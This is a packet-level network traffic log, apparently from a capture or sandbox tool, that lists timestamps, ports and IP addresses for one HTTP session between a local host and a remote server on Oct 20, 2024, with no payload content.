Oct 20, 2024 06:40:06.265943050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.265954971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.265964985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.265988111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.266004086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.266052961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.266063929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.266073942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.266110897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.266132116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.266192913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.266244888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.266290903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.266303062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.266310930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.266323090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.266333103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.266345978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.266349077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.266376019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.266390085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.266623020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.266647100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.266664982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.266675949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.266675949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.266695023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.266717911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.266736984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.266783953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.266928911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.266956091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.266966105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.266983986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.266999006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.267076969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.267087936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.267131090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.267196894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.267210007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.267220020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.267230988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.267241001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.267256021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.267272949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.267292023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.267446995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.267458916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.267467976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.267512083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.267680883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.267692089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.267702103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.267713070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.267723083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.267733097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.267733097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.267745972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.267756939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.267771006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.267796040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.267982006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.267992973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.268037081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.268109083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.268121004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.268130064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.268141031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.268151999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.268162966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.268167973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.268174887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.268187046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.268188000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.268198013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.268208027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.268238068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.268573999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.268623114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.268786907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.268798113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.268807888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.268819094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.268830061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.268840075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.268841982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.268850088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.268861055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.268871069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.268871069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.268886089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.268898964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.268908978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.268909931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.268923044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.268939972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.268961906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.268980026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.269442081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.269459009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.269470930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.269480944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.269491911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.269494057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.269501925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.269512892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.269514084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.269525051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.269547939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.269572973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.269862890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.269874096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.269885063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.269896030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.269906044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.269915104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.269917965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.269929886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.269936085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.269941092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.269953966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.269954920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.269975901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.270004988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.270452976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.270463943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.270473003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.270482063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.270493031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.270503998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.270512104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.270514965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.270526886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.270536900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.270539045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.270549059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.270555973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.270560980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.270571947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.270581007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.270598888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.270615101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.271153927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.271164894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.271173954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.271188021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.271198988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.271210909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.271219969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.271226883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.271231890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.271243095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.271254063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.271254063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.271266937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.271276951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.271279097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.271290064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.271296978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.271318913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.271337032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.271800041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.271810055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.271820068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.271830082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.271840096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.271852016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.271863937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.271869898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.271882057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.271898985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.271914005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.271943092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.272332907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.272344112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.272353888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.272363901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.272375107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.272389889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.272392035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.272403955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.272413969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.272423983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.272423983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.272433996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.272445917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.272445917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.272455931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.272464991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.272468090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.272479057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.272490978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.272504091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.272546053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.272571087 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.273116112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.273127079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.273137093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.273148060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.273160934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.273170948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.273186922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.273214102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.364131927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.364239931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.364289045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.364300013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.364310980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.364321947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.364372015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.364412069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.454659939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.454679966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.454694986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.454705954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.454719067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.454734087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.454766989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.454826117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.454855919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.454866886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.454878092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.454880953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.454910040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.454935074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.454936981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.454948902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.454982042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.455005884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.455024958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.455035925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.455084085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.455346107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.455408096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.455425024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.455437899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.455478907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.455498934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.455509901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.455521107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.455558062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.455578089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.455586910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.455596924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.455609083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.455645084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.455662966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.459768057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.459789038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.459800005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.459821939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.459851980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.459880114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.459891081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.459933996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.459954977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.460011005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.460030079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.460077047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.460187912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.460239887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.460253954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.460264921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.460298061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.460313082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.460323095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.460371017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.460386992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.460397959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.460436106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.460597992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.460652113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.460652113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.460663080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.460700989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.460756063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.460767031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.460777044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.460789919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.460813046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.460834026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.460913897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.460925102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.460935116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.460946083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.460958004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.460968971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.460990906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.461007118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.461102962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.461117983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.461131096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.461142063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.461150885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.461174011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.461200953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.461323023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.461333990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.461344004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.461354971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.461365938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.461376905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.461376905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.461389065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.461400986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.461409092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.461414099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.461436033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.461450100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.461621046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.461630106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.461639881 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.461651087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.461661100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.461672068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.461675882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.461683035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.461695910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.461695910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.461721897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.461743116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.461880922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.461891890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.461901903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.461913109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.461924076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.461934090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.461935043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.461947918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:06.461952925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.461978912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.461997032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:06.462013006 CEST	80	49730	185.215.113.37	192.168.2.4
